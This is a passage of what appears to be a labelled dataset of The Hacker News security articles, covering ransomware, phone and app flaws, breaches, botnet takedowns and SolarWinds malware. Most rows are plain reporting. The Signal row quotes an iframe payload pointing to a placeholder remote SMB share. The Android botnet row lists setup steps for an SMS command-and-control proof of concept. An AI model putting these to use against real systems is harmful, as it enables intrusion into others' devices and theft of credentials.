In its initial stage, NoMoreRansom.org contains four decryption tools for ransomware, including the notorious CryptXXX and the CoinVault and Bitcryptor families.
""We can only change the situation if we coordinate our efforts to fight against ransomware,"" said Jornt van der Wiel, security researcher at Kaspersky.
The portal also provides a ""Crytpo Sherrif"" section that allows people to upload more ransomware malware samples and a description to identify the type of ransomware threat affecting a system.

We saw an enormous rise in Ransomware, both in numbers and sophistication. The latest version of Cerber ransomware is so sophisticated that it generates a different sample in every 15 seconds to bypass signature-based antivirus software.

Must Read: Ransomware attacks Shuts Down Electric and Water Utility

One of the best advice to keep yourself safe from this emerging threat, is to backup all your important data regularly. Don't pay criminals the ransom, as it motivates them to keep on infecting a large number of people.

Some organizations have paid cyber criminal's demands, including the University of Calgary in Alberta, which paid $20,000 ransom to decrypt its computer systems' files and restore access to its own email system after getting hit by a ransomware infection.

In addition, you are always advised to keep your software up-to-date, use a reputed antivirus solution, and trust no one while opening any email or message attachments.

",Malware
Samsung Flaw Lets Hacker Easily Take Control of Your Galaxy Mobile Remotely,https://thehackernews.com/2015/06/hacking-samsung-mobile.html,"More than 600 Million users of Samsung Galaxy smartphones, including the newly released Galaxy S6, are potentially vulnerable to a software bug that allows hackers to secretly monitor the phone's camera and microphone, read text messages and install malicious apps.

The vulnerability is due to a problem with the Samsung built-in keyboard app that enables easier predictive text.

One of the keyboard app version, SwiftKey IME, that comes prepackaged with Samsung's latest Galaxy smartphones could allow a malicious hacker to remotely execute code on user's phone even when if they are not using the keyboard app.

Users cannot get rid of this Flaw

The app cannot be uninstalled or disabled by the users of the Samsung smartphone devices, so it is up to Samsung to fix the critical bug.

The vulnerability was discovered by NowSecure mobile security researcher Ryan Welton, who notified Samsung about the bug in December last year.

The keyboard app periodically prompts a server whether it needs any updating, but Samsung devices do not encrypt the executable file, making it possible for any hacker to modify the traffic via an insecure Wi-Fi connection and send a malicious payload to a phone in order to gain control of it.

This process is usually known as a Man in the Middle or MITM attack, and encryption is often used to stop malicious hackers from exploiting them.

Swift has high privileges in the system, which means it can write files in a phone's memory and can access most of its functions.

If exploited, the flaw could let an attacker to surreptitiously install malware on a user's smartphone; ac

cess the phone's microphone, camera and GPS; eavesdrop on text messages and calls; modify the behavior of other apps and even steal photographs and text messages from the phone.

The hacking attack was demonstrated Tuesday at the Blackhat security conference in London by Welton, and the video of his exploit is given below:

Affected Devices

There is a good news and a bad — The good news is that Samsung has started providing a fix to carrier network operators in early 2015, but the bad news is that the carriers have failed to offer security updates in a timely manner.

It is not known how many network operators actually provided the patches to their users, but the list of potentially vulnerable smartphone devices is a scary one.

The vulnerable devices include Samsung Galaxy S6, Galaxy S5, Galaxy S4 and Galaxy S4 mini on major United States carriers, including Verizon, AT&T, Sprint, and T-Mobile.

The Only Workaround:

As I said the vulnerable Keyboard app can not be uninstalled or disabled, so the only workaround for Galaxy handset owners is to stay away from unsecured Wi-Fi networks, until Samsung fixes the issue in a few days time.

The company said it will release a patch in the next few days, which will be accessible through its service Samsung Knox. The fix will be provided in the form of a security policy update that can be easily downloaded onto the smartphones.
""Samsung takes emerging security threats very seriously,"" the company said in a statement. Besides the security policy update, ""we are also working with Swiftkey to address potential risks going forward.""
Meanwhile, Swift said the flaw doesn't affect the SwiftKey applications on Google Play Store of Android or the iTunes App Store of Apple.
""We supply Samsung with the core technology that powers the word predictions in [Samsung] keyboard,"" Swift said. ""It appears that the way this technology was integrated with Samsung devices introduced the security vulnerability.""
Swift also claims the bug is ""not easy to exploit."" As in order to exploit this flaw, a user must be connected to a malicious wireless network and the user's keyboard is conducting a language update.

For a more detailed technical explanation of the Samsung keyboard vulnerability, go here.

",Vulnerability
Impossible Google Search Queries,https://thehackernews.com/2013/02/google-seach-engine-flaw-impossible.html,"Anonymous user asked a question on Quora that, How and Why Google is showing p*rn results in when one type equation -4^(1/4) into Google search query ? This is really a very strange bug on Google.


Just after that Jeremy Hoffman, Google software engineer replied him, ""Hi, I'm a Google search engineer. Anon User and Anon User did some excellent analysis. As a web search query, [-4^(1/4)] is interpreted like [-4 ""1 4""], as in ""Find me pages which contain a 1 next to a 4, but which do not contain a 4."" This should return zero results, because it is impossible to satisfy both requirements.""

The bug was apparently uncovered via when user tried to use Google for solving mathematical equations, but the search engine misinterpret his queries. Because it was a combination of impossible questions Google brings back p*rn sites results, any Logic ?

Some similar example Queries are:
-s ""s 2″
-3 ""1 3″
-title ""title 4″
-4 ""1 4″
How -s ""s 2″ a impossible query ? According to Google advance search options,when one is asking for -s ""s 2″, it means you're asking Google to find pages that have the letter S on them but which don't have the letter S in a phrase like ""s 2."" It should be impossible to find a match for this.

Even my Safe Results option is enables in search preference, I still can see these p*rn results as shown above:

""However, we have uncovered a bug that causes some web pages to ""match"" these contradictory queries. Since these are the only results that ""match"" the query, they are the results that get shown. We are working on a bug fix."" Jeremy also said.

As always Google said, A team of highly trained monkeys has been dispatched to deal with this situation.

",Vulnerability
Hyatt Hotel Says Payment Systems Hacked with Credit-Card Stealing Malware,https://thehackernews.com/2015/12/hyatt-hotel-hack.html,"Hyatt Hotels Corporation is notifying its customers that credit card numbers and other sensitive information may have been stolen after it found malware on the computers that process customer payments.
""We recently identified malware on computers that operate the payment processing systems for Hyatt-managed locations,"" the company announced on Wednesday. ""As soon as we discovered the activity, we launched an investigation and engaged leading third-party cyber security experts.""
What type of information?
The company didn't confirm whether the attackers succeeded in stealing payment card numbers, neither it say how long its network was infected or how many hotel chains were affected in the malware attack.

But as the payment processing system was infected with credit-card-stealing malware, there is a possibility that hackers may have stolen credit card numbers and other sensitive information.

What happened?
Hyatt spokeswoman Stephanie Sheppard said the company discovered malware on 30 November but did not justify why the company waited over three weeks to report the incident.

How many victims?
The company didn't confirm how many clients could have been affected in the malware attack. However, the world's leading hospitality corporation, headquartered in Chicago, owns a portfolio of 627 properties in 52 countries.

What was the response?
Hyatt said it had launched an investigation and hired leading third-party cyber security experts to help investigate the malware threat, as well as taken necessary steps to increase security on its computer systems.

What Hyatt customers should do?
Meanwhile, the company has also advised all its customers to review their payment card statements carefully and to report any unauthorized bank transactions.

Moreover, the company reassured its customers that ""customers can feel confident using payment cards at Hyatt hotels worldwide.""

Hyatt became the latest hotel chain to report a potential customer data breach this year, following the data breach in other hotel chains, including Hilton, Starwood, Mandarin Oriental, White Lodging and the Trump Collection that acknowledged finding malware in their payment systems.

",Malware
China is the birth place for most of malicious Android apps,https://thehackernews.com/2011/11/china-is-birth-place-for-most-of.html,"China is the birth place for most of malicious Android apps

Mobile malware is rising, and there have been explosions in the world of viruses and Trojans. Virus makers are now targeting mobile platforms- thanks to their growing popularity. If we take the statistics from last 6 months, the chances of Android smart phones to be infected have doubled. A new report by TrendMicro says that ""China is the birth place for most of malicious Android applications"" .

Even Android OS is also becoming more and more popular in China. This growth of Android users in China, however, seems to do little for the rocky relationship between Google and the Chinese government. It has been reported that access to the Google Android Market has been intermittent since 2009.

According to a Report by TrendMicro, The inconvenience in accessing the Android Market, one not experienced by users from other countries, can be considered a big factor in the Chinese users' preference in terms of where to download their Android applications.Early third-party app stores were founded as an online forum for some Android fans. The fans discussed topics about the OS, and also released a few applications in the online forum. After the Android Market became inaccessible to China-based users last year, the forums became popular among Android developers and users.

The biggest malware threat to Android users is probably the rogue application model. In this model, attackers pirate a legit program and add some malicious code to it. Then they release it into the market. This repackaging of legit apps poses a lot of danger, and has proved to be an effective and strong malware agent.

To make sure their app stays in the market, attackers use the upgrade attack. They give a clean app in the beginning. And then they offer an upgrade, which is infected with virus. And since most people have automatic updates on, within some time, every device that has the app becomes infected.Mahaffey observed that hackers use different techniques to make their malware spread out widely. Mobile malware is still on its experimental stage. It should be curbed before it becomes a big problem.

",Malware
"FIFA World Cup 2014, Big Opportunity for Cybercriminals",https://thehackernews.com/2014/06/fifa-world-cup-2014-big-opportunity-for.html,"With the beginning of FIFA World Cup tournaments in Brazil, Football fever is going viral across the world. Soccer or Football is the most popular sport in the world with billions of fans who don't even miss a single tournament.

Now, this is the most awaited and rejoicing atmosphere for Football fans as well as cybercriminals right now. For bad actors, the World Cup is a perfect opportunities to scam people online.

While you are busy figuring out websites where you can stream live Fifa Matches on your PCs without missing a single moment of the world cup tournament, cyber criminals are also busy to launch phishing attacks in form of scams and malwares in order to victimize the system by several Trojans and viruses.

This isn't surprising as cyber criminals have become smart enough to gain from every possible eventuality they get and their prior/common target is every time the users' interest based major news and current events.

The most popular threat this World Cup targets users in the form of phishing attacks. You may see links in messages over emails and social networking sites serving attractive contents of this World Cup such as Free Tickets, merchandise, news and footage of highlights, online streaming videos of footballers behaving badly and many more.

But once clicked, the victims are redirected to the malicious websites that trick users into revealing their private information or installing malicious softwares in order to put their computer systems at risk of malwares and viruses infection or identity theft.

Researchers at the security software maker firm, Symantec, have identified several email scams and in coming days, they also expects to see these scam attempts targeting Soccer fans on social networks as well.

#1 FREE TICKETS TO WORLD CUP
The most common scam is Free Tickets to World Cup 2014. In this Football fevered atmosphere, everyone is seeking to get a free pass or a ticket to the tournament in Brazil and What if you won an all-expenses paid trip to Brazil? It's really like a dream comes true for any Soccer fan.

The security firm has identified several emails that contain a malicious zip file and inside it is an executable file. Once executed, it will allow your computer to be taken over by Trojans and remote administration tools.

#2 NEWS AND HIGHLIGHTS OF WORLD CUP TEAMS AND PLAYERS
Apart from free tickets, news and highlights about different World Cup teams and players can also be used to thwart users into opening up malicious attachments or clicking malicious links.

Researchers have discovered emails that are currently circulating about Neymar da Silva Santos Júnior, a young star player with the Brazilian national team. The email have a malicious word document that could exploit a known vulnerability in the victims' Microsoft Word.

#3 FREE ONLINE STREAMS OF FIFA WORLD CUP MATCHES
Once the FIFA World Cup begins, cyber criminals starts targeting users by emails and social networks' scams that claim to provide free live stream of various matches. Before you can unlock access to the live stream, it first ask you to fill out a survey or download and install software in order to fetch money from your pockets.

HOW TO PROTECT FROM WORLD CUP SCAMS
If you are served any link for free tickets to World Cup, consider it as a scam because free stuffs are never free.
If you have to watch live World Cup match, check your local service providers to see where and when you can catch World Cup games online.
Avoid unknown sources to know happenings of your favorite teams and players; visit only official news websites.
If any site ask you for password or credit card information, double check it before proceeding.
Beware of links that either lead you to any application or external Website.
Make sure you have installed an updated Anti-virus solution to avoid latest threats.

",Malware
Github accounts Hacked in 'Password reuse attack',https://thehackernews.com/2016/06/github-password-hack.html,"Popular code repository site GitHub is warning that a number of users' accounts have been compromised by unknown hackers reusing email addresses and passwords obtained from other recent data breaches.

Yes, GitHub has become the latest target of a password reuse attack after Facebook CEO Mark Zuckerberg and Twitter.

According to a blog post published by Shawn Davenport, VP of Security at GitHub, an unknown attacker using a list of email addresses and passwords obtained from the data breach of ""other online services"" made a significant number of login attempts to GitHub's repository on June 14.

After reviewing the logins, administrators at GitHub found that the attacker had gained access to a number of its users' accounts in order to gain illicit access to their accounts' data.

Although the initial source of the leaked credentials isn't clear, the recent widespread ""megabreaches"" of LinkedIn, MySpace, Tumblr, and the dating site Fling, that have dumped more than 642 Million passwords over the past month could be the cause.

GitHub didn't reveal the number of compromised accounts, though it does not appear that any data was lost; so your source code repos are safe. As Davenport wrote:
""For some accounts, other personal information including listings of accessible repositories and organizations may have been exposed.""
GitHub informed users that it has already reset the passwords of an unspecified number of accounts accessed successfully by the hacker and has begun contacting all affected users to instruct them how to get back into their account.

The company advised its users to ""practice good password hygiene"" and to enable two-factor authentication for its service.

Since the leaked credentials of recent widespread megabreach date back more than 3 years, there may have still been a possibility that those credentials were being re-used by many online users for other services.

So, it's high time you changed your passwords for all social media sites as well as other online services, especially if you use the same password for different websites.

",Data_Breaches
Beebone Botnet Taken Down By International Cybercrime Taskforce,https://thehackernews.com/2015/04/beebone-botnet-malware-hacking.html,"U.S. and European law enforcement agencies have shut down a highly sophisticated piece of the botnet that had infected more than 12,000 computers worldwide, allowing hackers to steal victims' banking information and other sensitive data.

The law enforcement agencies from the United States, United Kingdom and the European Union conducted a joint operation to get rid of the botnet across the globe and seized the command-and-control server that had been used to operate the nasty Beebone (also known as AAEH) botnet.

What's a Botnet?

A botnet is a network of large number of computers compromised with malicious software and controlled surreptitiously by hackers without the knowledge of victims.

Basically, a ""botnet"" is a hacker's ""robot"" that does the malicious work directed by hackers.

Hackers and Cyber Criminals have brushed up their hacking skills and started using Botnets as a cyber weapon to carry out multiple crimes such as DDoS attacks (distributed denial of service), mass spamming, advertising revenue manipulation, cyber espionage, mining bitcoins, surveillance etc.

However, this is not first time we hear about a sophisticated botnet took down by law enforcement agencies.

Just two months ago, law Enforcement took down Ramnit botnet, which infected over 3.2 Million computers worldwide, and last year the FBI and Europol torn down the GameOver Zeus botnet, although it came back a month after its took down.

So, What's new about Beebone Botnet?

Beebone botnet is a downloader software (kind of botnet downloader) that installs other forms of malicious software, including ransomware and rootkits, onto victims' machines without their even consent.

The size of the network it infected was not significant, but the operators managed to maintain control of the infected machines over the years by making Beebone botnet polymorphic in nature, so that it can update itself in order to avoid antivirus detection.

Here's the Kicker:

Beebone botnet updates itself as many as 19 times a day which makes the malware slightly different threat from all the existing botnets as well as prevent botnet detection.

Once infected, the machines was ordered to ""distribute malicious software, harvest users' credentials for online services, including banking services, and extort money from users by encrypting key files and then demanding payment in order to return the data to a readable state,"" the US Computer Emergency Response Team (US-CERT) said.

5 MILLION UNIQUE SAMPLES OF BEEBONE IN THE WILD
Initial figures show:

Beebone has infected over 12,000 computers, which seems to be a tiny number compared to other Zeus botnet infection in the past that infected millions of computers across the world.

However, it is believed that there are many more to come. According to Europol, currently there are more than 5 Million unique samples of Beebone botnet in the wild, with over 205,000 samples taken from a total of 23,000 computer systems between 2013 and 2014.

BEEBONE INFECTION WORLDWIDE
The footprint of Beebone botnet is worldwide:

Beebone infections spread across more than 195 countries. Most of the infections are reported in the United States, followed by Japan, India, and Taiwan, said Europol's Deputy Director of Operations, Wil van Gemert.

What's the best part?

The Federal Bureau of Investigation (FBI) is currently working with other U.S. law enforcement agencies and Europol's European Cybercrime Centre (EC3), the Dutch National High Tech Crime Unit and the Joint Cybercrime Action Taskforce in order to combat Beebone.

Why Botnets re-emerged after took down?

The main reason, according to me, is that the author of the botnet did not get arrested.

It really doesn't matter how many domains the law enforcement took down or how many sinkholes security researchers create if the attackers not arrested…

...nobody can stop criminals from building new Botnet from zero.

Thus, I really appreciate the FBI effort to weed out GameOver Zeus botnet by announcing a reward of $3 Million for the information leading to the direct arrest or conviction of Evgeniy Mikhailovich Bogachev -- The alleged author of GameOver Zeus botnet that stole more than $100 Million from bank accounts.

",Malware
Hackers Suspected of Causing Second Power Outage in Ukraine,https://thehackernews.com/2016/12/power-outage-ukraine.html,"The same group of hackers that caused the power outage across several regions in Ukraine last Christmas holidays might have once again shut down power supply in northern Ukraine during the weekend.

According to Ukrainian energy provider Ukrenergo, a cyber attack on Kyiv's power grid may have caused the power outages in the country on Saturday, December 17, near midnight.

The blackout affected the northern part of Kiev, the country's capital, and surrounding areas, Ukrenergo Director Vsevolod Kovalchuk explained in a post on Facebook.

Shortly after the incident, Ukrenergo engineers switched to manual mode and started restoring power in approximately 30 minutes in an effort to deal with the cyber attack. Power was fully restored after just an hour and fifteen minutes of the blackout.

According to Kovalchuk, the one responsible for the weekend outage could be an ""external interference through data network,"" however, the company's cybersecurity experts are investigating the incident and will provide more information soon.

Although the reason for the outage is not yet confirmed, authorities believe that the unexpected power outage could be the latest in the series of cyber attacks that managed to strike the Ukrainian electric grid and financial infrastructure in December 2015.

The 2015 energy blackouts were caused with the help of a malware attack, known as BlackEnergy, which was distributed through boobytrapped Word documents and tricked recipients into enabling macros to activate the malicious payload.

Last year, the Ukraine's state security service SBU blamed Russia for causing outages by planting malware on the networks of several regional energy companies.

Also, the United States Cyber firm iSight Partners identified the perpetrator as a Russian group of hackers known as ""Sandworm.""

While security experts have found no hard evidence that links these attacks on Ukrainian energy grid to Russia, they believe that the attackers appear to be a nation state with significant resources.

SCADA system has always been an attractive target for cybercrooks, given the success of Stuxnet malware that was developed by the US and Israeli together to sabotage the Iranian nuclear facilities a few years ago, and ""Havex"" that previously targeted organizations in the energy sector.

",Malware
Unveiled: SUNSPOT Malware Was Used to Inject SolarWinds Backdoor,https://thehackernews.com/2021/01/unveiled-sunspot-malware-was-used-to.html,"As the investigation into the SolarWinds supply-chain attack continues, cybersecurity researchers have disclosed a third malware strain that was deployed into the build environment to inject the backdoor into the company's Orion network monitoring platform.
Called ""Sunspot,"" the malignant tool adds to a growing list of previously disclosed malicious software such as Sunburst and Teardrop.
""This highly sophisticated and novel code was designed to inject the Sunburst malicious code into the SolarWinds Orion Platform without arousing the suspicion of our software development and build teams,"" SolarWinds' new CEO Sudhakar Ramakrishna explained.
While preliminary evidence found that operators behind the espionage campaign managed to compromise the software build and code signing infrastructure of SolarWinds Orion platform as early as October 2019 to deliver the Sunburst backdoor, the latest findings reveal a new timeline that establishes the first breach of SolarWinds network on September 4, 2019 — all carried out with an intent to deploy Sunspot.
""Sunspot monitors running processes for those involved in compilation of the Orion product and replaces one of the source files to include the Sunburst backdoor code,"" Crowdstrike researchers said in a Monday analysis.
Crowdstrike is tracking the intrusion under the moniker ""StellarParticle.""
Once installed, the malware (""taskhostsvc.exe"") grants itself debugging privileges and sets about its task of hijacking the Orion build workflow by monitoring running software processes on the server, and subsequently replace a source code file in the build directory with a malicious variant to inject Sunburst while Orion is being built.
The subsequent October 2019 version of the Orion Platform release appears to have contained modifications designed to test the perpetrators' ability to insert code into our builds,"" Ramakrishna said, echoing previous reports from ReversingLabs.
The development comes as Kaspersky researchers found what appears to be a first potential connection between Sunburst and Kazuar, a malware family linked to Russia's Turla state-sponsored cyber-espionage outfit.
The cybersecurity firm, however, refrained from drawing too many inferences from the similarities, instead suggesting that the overlaps may have been intentionally added to mislead attribution.
While the similarities are far from a smoking gun tying the hack to Russia, U.S. government officials last week formally pinned the Solorigate operation on an adversary ""likely Russian in origin.""

",Malware
New Attack Targeting Microsoft Outlook Web App (OWA) to Steal Email Passwords,https://thehackernews.com/2015/10/hack-microsoft-outlook-email.html,"Researchers have unearthed a dangerous backdoor in Microsoft's Outlook Web Application (OWA) that has allowed hackers to steal e-mail authentication credentials from major organizations.

The Microsoft Outlook Web Application or OWA is an Internet-facing webmail server that is being deployed in private companies and organisations to provide internal emailing capabilities.

Researchers from security vendor Cybereason discovered a suspicious DLL file loaded into the company's OWA server that siphoned decrypted HTTPS server requests.

Although the file had the same name as another benign DLL file, the suspicious DLL file was unsigned and loaded from another directory.

Hackers Placed Malicious DLL on OWA Server

According to the security firm, the attacker replaced the OWAAUTH.dll file (used by OWA as part of the authentication mechanism) with one that contained a dangerous backdoor.

Since it ran on the OWA server, the backdoored DLL file allowed hackers to collect all HTTPS-protected server requests, including login information after they had been decrypted, i.e., in clear text.
""OWA was configured in [such] a way that [it] allowed Internet-facing access to the server,"" Cybereason wrote in a post published Monday. ""This enabled the hackers to establish persistent control over the entire organization's environment without being detected for several months.""

Hackers Stole 11,000 Credentials

Every user accessing the hacked server had their username & password compromised and stored by the attackers.

Researchers discovered more than 11,000 usernames and passwords combinations in a log.txt file in the server's ""C:\"" partition. Log.txt file is believed to be used by attackers to store all logged data.

The unnamed company that detected ""behavioural abnormalities"" across its network before reaching out to security firm Cybereason had more than 19,000 endpoints.

To prevent their backdoor from being removed, the attackers also created an IIS (Microsoft's Web server) filter through which they loaded the malicious OWAAUTH.dll file every time the server was restarted.

To add icing to the cake — the advanced persistent attackers utilized a .NET assembly cache in order to avoid auditing and security inspection.

The security firm did not say how widespread this attack is beyond it targeting one organisation, but there are chances that the attack is or could be hitting other large organizations as well.

",Malware
Intel CPU Vulnerability can provide control of your system to attacker,https://thehackernews.com/2012/06/intel-cpu-vulnerability-can-provide.html,"Intel CPU Vulnerability can provide control of your system to attacker

The U.S. Computer Emergency Readiness Team (US-CERT) has disclosed a flaw in Intel chips that could allow hackers to gain control of Windows and other operating systems.

The flaw has already been exploited on 64-bit versions of Microsoft Windows 7, FreeBSD, NetBSD and there's a chance Apple's OS X may also be vulnerable.

The flaw was disclosed the vulnerability in a security advisory released this week. Attackers could execute malicious code via kernel privileges or launch a local privilege escalation attack.

VMware's virtualization software is not affected, and neither are AMD's processors, as they do not use the SYSRET instruction whose incorrect handling causes the flaw or handle it differently.Many of the affected vendors have already pushed out an update that defuses the flaw.

However, it said that while 32-bit operating systems are safe, ""Intel CPUs that use the Intel 64 extension need the security patches released by Microsoft in their MS12-042 security bulletin.""

",Vulnerability
Another severe flaw in Signal desktop app lets hackers steal your chats in plaintext,https://thehackernews.com/2018/05/signal-desktop-hacking.html,"For the second time in less than a week, users of the popular end-to-end encrypted Signal messaging app have to update their desktop applications once again to patch another severe code injection vulnerability.

Discovered Monday by the same team of security researchers, the newly discovered vulnerability poses the same threat as the previous one, allowing remote attackers to inject malicious code on the recipients' Signal desktop app just by sending them a message—without requiring any user interaction.

To understand more about the first code injection vulnerability (CVE-2018-10994), you can read our previous article covering how researchers find the Signal flaw and how it works.

The only difference between the two is that the previous flaw resides in the function that handles links shared in the chat, whereas the new vulnerability (CVE-2018-11101) exists in a different function that handles the validation of quoted messages, i.e., quoting a previous message in a reply.
In other words, to exploit the newly patched bug on vulnerable versions of Signal desktop app, all an attacker needs to do is send a malicious HTML/javascript code as a message to the victim, and then quote/reply to that same message with any random text.

If the victim receives this quoted message containing the malicious payload on its vulnerable Signal desktop app, it will automatically execute the payload, without requiring any user interaction.

Exploiting Signal Code Injection to Steal Plaintext Chats

Until now the proof-of-concept payloads used to demonstrate code injection vulnerabilities in Signal were limited to embedding an HTML iFrame, or image/video/audio tags onto the victim's desktop app.

However, researchers have now managed to craft a new PoC exploit that could allow remote attackers to successfully steal all Signal conversations of the victims in the plaintext just by sending them a message.

This hack literally defeats the purpose of an end-to-end encrypted messaging app, allowing remote attackers to easily get the hold on users' plain-text conversations without breaking the encryption.

Attackers Could Possibly Steal Windows Password As Well

What's worse?

In their blog post, the researchers also indicated that an attacker could even include files from a remote SMB share using an HTML iFrame, which can be abused to steal NTLMv2 hashed password for Windows users.
""In the Windows operative system, the CSP fails to prevent remote inclusion of resources via the SMB protocol. In this case, remote execution of JavaScript can be achieved by referencing the script in an SMB share as the source of an iframe tag, for example: <iframe src=\\DESKTOP-XXXXX\Temp\test.html> and then replying to it,"" the researchers explain.
Though they haven't claimed anything about this form of attack, I speculate that if an attacker can exploit code injection to force Windows OS to initiate an automatic authentication with the attacker-controlled SMB server using single sign-on, it would eventually hand over victim's username, and NTLMv2 hashed password to the attackers, potentially allowing them to gain access to the victim's system.

We have seen how the same attack technique was recently exploited using a vulnerability in Microsoft Outlook, disclosed last month.

I can not verify this claim at this moment, but we are in contact with few security researchers to confirm this.

Researchers—Iván Ariel Barrera Oro, Alfredo Ortega, Juliano Rizzo, and Matt Bryant—responsibly reported the vulnerability to Signal, and its developers have patched the vulnerability with the release of Signal desktop version 1.11.0 for Windows, macOS, and Linux users.

However, The Hacker News has learned that Signal developers had already identified this issue as part of a comprehensive fix to the first vulnerability before the researchers found it and reported them.

Signal app has an auto-update mechanism, so most users must have the update already installed. You can read this guide to ensure if you are running updated version of Signal.

And if you don't, you should immediately update your Signal for desktop as soon as possible, since now the vulnerability poses a severe risk of getting your secret conversations exposed in plaintext to attackers and further severe consequences.

",Vulnerability
"Siemens Assisted with Stuxnet's Development, claimed by Iran !",https://thehackernews.com/2011/04/siemens-assisted-with-stuxnets.html,"Siemens Assisted with Stuxnet's Development, claimed by Iran !
A senior Iranian official accuses Siemens of willingly assisting the Stuxnet creators by providing the source code necessary for them to exploit its software.

Iran's state news agency, the Islamic Republic News Service (IRNA), quotes Brigadier General Gholam Reza Jalali as saying the German engineering giant played a part in the development of the world's most sophisticated malware.

""Siemens should explain why and how it provided the enemies with the information about the codes of the SCADA software and prepared the ground for a cyber attack against us,"" Jalali told IRNA.

""It was a hostile action which could have inflicted serious damage on the country if it had not been dealt with in a timely manner,"" he added.

Jalali's remark might be a result of a The New York Times report that pointed at Israel and the US as likely Stuxnet creators and mentioned that Siemens worked in 2008 with the US Idaho National Laboratory (INL) to identify vulnerabilities in the company's SCADA software.

""The Foreign Ministry and other relevant political and judicial organizations should lodge complaints at international courts. The attacking countries should be held legally responsible for the cyberattack,"" the Iranian official stressed.

Jalali, who heads Iran's Passive Defense Organisation, a military unit responsible for defending the country's nuclear facilities, reiterated that the malware was stopped in time before doing any considerable damage.

He did, however, acknowledge that had it succeeded, the attack could have resulted in tragic accidents at industrial sites and refineries across the country.

This conflicts with an earlier report from the Institute for Science and International Security (ISIS), which claims that up to 1,000 IR-1 uranium enrichment centrifuges were damaged by the malware. Retiring Mossad chief Meir Dagan also said that technical difficulties experienced by Iran delayed the creation of a bomb until 2015.

Source

",Malware
'Real Footage of Malaysian Flight MH 17 Shot Down' Facebook Spam Spreads Malware,https://thehackernews.com/2014/07/real-footage-of-malaysian-flight-mh-17.html,"A distasteful trend among the cyber crooks have began these days that they left no occasion, either good or bad, to snatch users' financial information in order to make money as well as spread malware to victimize users.

The tragedy of the crashed Malaysia Airlines flight MH17 is no exception for the criminal minds. They are exploiting the disaster that took place last week in the disputed territory.

All related to Malaysian Airline Flight MH17, a Boeing 777 aircraft carrying 283 passengers and 15 crew members, that was shot down over eastern Ukraine on July 17 by a ground-to-air missile. So far, its unclear that who is behind the tragic incident, while Ukraine and the insurgents blamed each other.

Within just a week, at least six bogus Facebook pages that popped up the names of the Boeing 777 victims. According to the Australia's Sydney Morning Herald, three of the fraudulent pages were created in the names of children who were on the plane and died.

The bogus Facebook pages were came out to be click fraudsters, in which the site visitors are served a link to a phony website containing detailed information about the MH17 plane crash. Once clicked, users are then hit with a series of pop-up ads for online gambling sites and other shady services. The pages have since been shut down by Facebook , but this doesn't stop scammers.

I too caught a fake video circulating on Facebook with a fake message that promises to provide a real footage of the missile bringing down the aircraft. It baited people to click on another website with a link purporting to show footage of the MH17 disaster.
'Video Camera Caught the moment plane MH17 Crash over Ukraine.Watch here the video of Crash,' the link read.
As other click fraudsters, when I clicked on the video purporting to provide access to entire footage of the tragic incident, it prompted me to share it with my other Facebook friends in order to play the video, so that the bogus video could spread to other users and so on.

Obviously, I didn't chose that, but even if you do or not , in both cases the site will redirect users to another domain that will prompt users to download a video player (windows executable file) in order to play the video successfully.

People who desires to watch the MH17 Flight's shot down video, it will lead users downloading malware into their systems or potentially unwanted applications (PUPs), similar to what we have seen in many other spam campaigns of the types.

This is neither the first nor will be the last attempt of cyber criminals to leverage the tragedy of MH17 Malaysian airliner. Last week, cyber crooks used Twitter platform to widely spread short links that directed victims to the web pages known to have been linked with a variant of Zeus Trojan and the Sality malware as well, in order to steal financial information of the victims and to infect their systems with the malwares.

We strictly recommend you to do not trust such videos rather follow various reputed news websites in order to get legitimate information about the incidents. Stay Safe!

",Malware
POC Android botnet - Command and Control Channel over SMS,https://thehackernews.com/2012/04/poc-android-botnet-command-and-control.html,"POC Android botnet - Command and Control Channel over SMS

To avoid detection, this proof-of-concept code utilizes the Short Messaging Service (SMS) as a command & control channel. This adds fault tolerance because, if a smartphone is not available on the GSM network due to being powered off or out of service range, when an SMS message arrives for delivery, the message is queued and delivered by the network.

Download the POC code from Here.

Compiling instructions are simple and straight forward. Please follow these:
Compile with arm-gcc with the -static flag set
Copy to anywhere on the underlying OS that is writable (/data/ is good).
Rename /dev/smd0/ to /dev/smd0real/
Start the bot application
Kill the radio application (ps | grep rild)
The radio will automatically respawn and now the bot proxy will be working

The PoC code for smartphone botnet C&C over SMS was presented at the Shmoocon held in January 2011. It seems that the author also has it working for the iPhone platform! For sanity purposes, the PoC code has payloads aka commands removed. So what you see in the demo video will need to be added manually. It however does include logging and a local open port for testing to make developing your own payloads easier! This is the demo video:

",Malware
Beware! Malicious JPG Images on Facebook Messenger Spreading Locky Ransomware,https://thehackernews.com/2016/11/facebook-locky-ransomware.html,"If you receive an image file sent by someone, even your friend, on your Facebook Messenger, LinkedIn or any other social media platform, just DO NOT CLICK ON IT.

Even JPG image file could eventually infect your computer with the infamous Locky Ransomware.

Earlier this week, we reported a new attack campaign that used Facebook Messenger to spread Locky Ransomware via .SVG image files, although Facebook denied this was the case.

Now, researchers have discovered that the ongoing spam campaign is also using boobytrapped .JPG image files in order to download and infect users with the Locky Ransomware via Facebook, LinkedIn, and other social networking platforms.

Security researchers from Israeli security firm Check Point have reportedly discovered how cyber criminals are hiding malware in image files, and how they are executing the malware code within these images to infect social media users with Locky variants.

According to researchers, malware authors have discovered security vulnerabilities in the Facebook and LinkedIn that forcibly download a maliciously coded image file on a user's computer, though in some cases, the user has to click on the image file to download.

When the user detect the automatic download and access that malformed image file, malicious code installs the Locky ransomware onto the user's computer, which encrypts all files on the infected computer until a ransom is paid.

Flaws in Facebook and LinkedIn Remain Unpatched
The security firm has declined to provide technical details as the vulnerability the malware relies on still impacts both Facebook and LinkedIn, among other unnamed web services.


""The attackers have built a new capability to embed malicious code into an image file and successfully upload it to the social media website,"" Check Point researchers say.

""The attackers exploit a misconfiguration on the social media infrastructure to deliberately force their victims to download the image file. This results in infection of the users' device as soon as the end-user clicks on the downloaded file.""

CheckPoint says the firm reported the issue to both Facebook and LinkedIn back in September, but the vulnerabilities remain unpatched in both the platform, which is now actively being exploited by attackers.

Video Demonstration of the Attack

You can also watch the video demonstration of this attack, which CheckPoint dubbed ImageGate, which shows the attack in action.

Locky is Spreading Massively via Social Media Platform

Locky ransomware has been around since early this year and has become the biggest and most common ransomware family known today. It works by encrypting victims' files with RSA-2048 and AES-1024 algorithms and demands a ransom for the key.

Locky ransomware mainly spreads via phishing emails containing a malicious attachment disguised as a Word or Zip file. But since people spend time on social network sites, cyber crooks have turned their focus to finding a way into these platforms.

Check Point says that in the past week, they have noticed a ""massive spread of the Locky ransomware via social media, particularly in its Facebook-based campaign.""

